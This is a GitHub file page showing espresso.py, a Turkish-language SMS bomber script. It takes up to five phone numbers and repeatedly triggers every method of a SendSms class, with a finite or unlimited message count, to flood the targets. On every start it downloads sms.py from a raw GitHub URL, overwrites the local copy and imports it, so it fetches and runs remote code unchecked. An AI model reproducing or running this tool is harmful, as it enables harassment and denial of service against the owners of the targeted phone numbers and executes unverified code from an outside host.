-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathespresso.py
172 lines (167 loc) · 7.43 KB
/
espresso.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from colorama import Fore, Style
from time import sleep
from os import system
from requests import get
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
r = get("https://raw.githubusercontent.com/0xfalls/chocolate/main/mocha.py").text
with open("sms.py", "r", encoding="utf-8") as f:
read = f.read()
if read == r:
pass
else:
print(Fore.RED + "Güncelleme yapılıyor...")
with open("sms.py", "w", encoding="utf-8") as f:
f.write(r)
from sms import SendSms
servisler_sms = []
for attribute in dir(SendSms):
attribute_value = getattr(SendSms, attribute)
if callable(attribute_value):
if attribute.startswith('__') == False:
servisler_sms.append(attribute)
while 1:
system("cls||clear")
print("""{}
______ _ _ _ _ ______ ___ ___ ___
| ____| | | |_| || ||____ / _ \ / _ \ / _ \
| |__ | | | |_ __ _| / / | | | | | | | | |
| __| | | | |_| || |_ / /| | | | | | | | | |
| |____| |__| |_ __ _|/ / | |_| | |_| | |_| |
|______|\____/ |_||_| /_/ \___/ \___/ \___/
Sms: {}
""".format(Fore.LIGHTRED_EX, len(servisler_sms), Style.RESET_ALL, Fore.CYAN))
print(Fore.LIGHTGREEN_EX+"{/} "+Style.RESET_ALL+" "+Fore.LIGHTGREEN_EX+Style.BRIGHT+"eu\n"+Style.RESET_ALL)
try:
menu = int(input(Fore.LIGHTMAGENTA_EX + " 1- SMS Gönder\n 2- Çıkış\n\n" + Fore.LIGHTYELLOW_EX + " Seçim: "))
except ValueError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı giriş yaptınız. Tekrar deneyiniz.")
sleep(3)
continue
if menu == 1:
system("cls||clear")
try:
print(Fore.LIGHTYELLOW_EX + "Telefon numarasını başında '+90' olmadan yazınız (birden çoksa 'enter' bas): "+ Fore.LIGHTGREEN_EX, end="")
tel_no = input()
if tel_no != "" and len(str(tel_no)) == 10:
tel_no2 = "bos"
tel_no3 = "bos"
tel_no4 = "bos"
tel_no5 = "bos"
if tel_no == "":
system("cls||clear")
print( Fore.LIGHTGREEN_EX+"[+] "+Fore.CYAN+"TXT dosya formatı:\n"
+Fore.LIGHTGREEN_EX+"[+] "+Fore.CYAN+"En fazla 5 numara olacak şekilde başında '+90' olmadan alt alta numaraları yazın.")
print("")
print("")
print(Fore.LIGHTYELLOW_EX + "TXT dosyasının yolunu giriniz: "+ Fore.LIGHTGREEN_EX, end="")
dosya_yolu = input()
try:
with open(dosya_yolu, 'r') as file:
tel_list = file.readlines()
for i, number in enumerate(tel_list):
if i == 0:
tel_no = number.strip()
elif i == 1:
tel_no2 = number.strip()
elif i == 2:
tel_no3 = number.strip()
elif i == 3:
tel_no4 = number.strip()
elif i == 4:
tel_no5 = number.strip()
if len(number.strip()) != 10:
raise ValueError
if i<4:
for j in range(i+1,5):
if j==1:
tel_no2 = "bos"
elif j==2:
tel_no3 = "bos"
elif j==3:
tel_no4 = "bos"
elif j==4:
tel_no5 = "bos"
except FileNotFoundError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Dosya bulunamadı. Tekrar deneyiniz.")
sleep(3)
continue
except ValueError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı telefon numarası. Tekrar deneyiniz.")
sleep(3)
continue
else:
if len(tel_no) != 10:
raise ValueError
except ValueError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı telefon numarası. Tekrar deneyiniz.")
sleep(3)
continue
system("cls||clear")
try:
print(Fore.LIGHTYELLOW_EX + "Mail adresi (Bilmiyorsanız 'enter' tuşuna basın): "+ Fore.LIGHTGREEN_EX, end="")
mail = input()
if ("@" not in mail or ".com" not in mail) and mail != "":
raise
except:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı mail adresi. Tekrar deneyiniz.")
sleep(3)
continue
system("cls||clear")
try:
print(Fore.LIGHTGREEN_EX+"[+] "+Fore.CYAN+"Birden çok numara varsa her bir numara için.")
print(Fore.LIGHTYELLOW_EX + "Kaç adet SMS göndermek istiyorsun (sonsuz ise 'enter' bas): "+ Fore.LIGHTGREEN_EX, end="")
kere = input()
if kere:
kere = int(kere)
else:
kere = None
except ValueError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı giriş yaptınız. Tekrar deneyiniz.")
sleep(3)
continue
system("cls||clear")
try:
print(Fore.LIGHTYELLOW_EX + "Kaç saniye aralıkla göndermek istiyorsun: "+ Fore.LIGHTGREEN_EX, end="")
aralik = int(input())
except ValueError:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Hatalı giriş yaptınız. Tekrar deneyiniz.")
sleep(3)
continue
system("cls||clear")
if kere is not None:
tel_numbers = [tel_no, tel_no2, tel_no3, tel_no4, tel_no5]
bos_olmayan = len([x for x in tel_numbers if x != "bos"])
keree = kere * bos_olmayan
sms = SendSms(tel_no, tel_no2, tel_no3, tel_no4, tel_no5, mail)
if isinstance(kere, int):
while sms.adet < kere:
for attribute in dir(SendSms):
attribute_value = getattr(SendSms, attribute)
if callable(attribute_value):
if attribute.startswith('__') == False:
if sms.adet == keree or sms.adet > keree:
break
exec("sms."+attribute+"()")
sleep(aralik)
print(Fore.LIGHTRED_EX + "\nMenüye dönmek için 'enter' tuşuna basınız..")
input()
elif kere is None:
while True:
for attribute in dir(SendSms):
attribute_value = getattr(SendSms, attribute)
if callable(attribute_value):
if attribute.startswith('__') == False:
exec("sms."+attribute+"()")
sleep(aralik)
elif menu == 2:
system("cls||clear")
print(Fore.LIGHTRED_EX + "Çıkış yapılıyor...")
break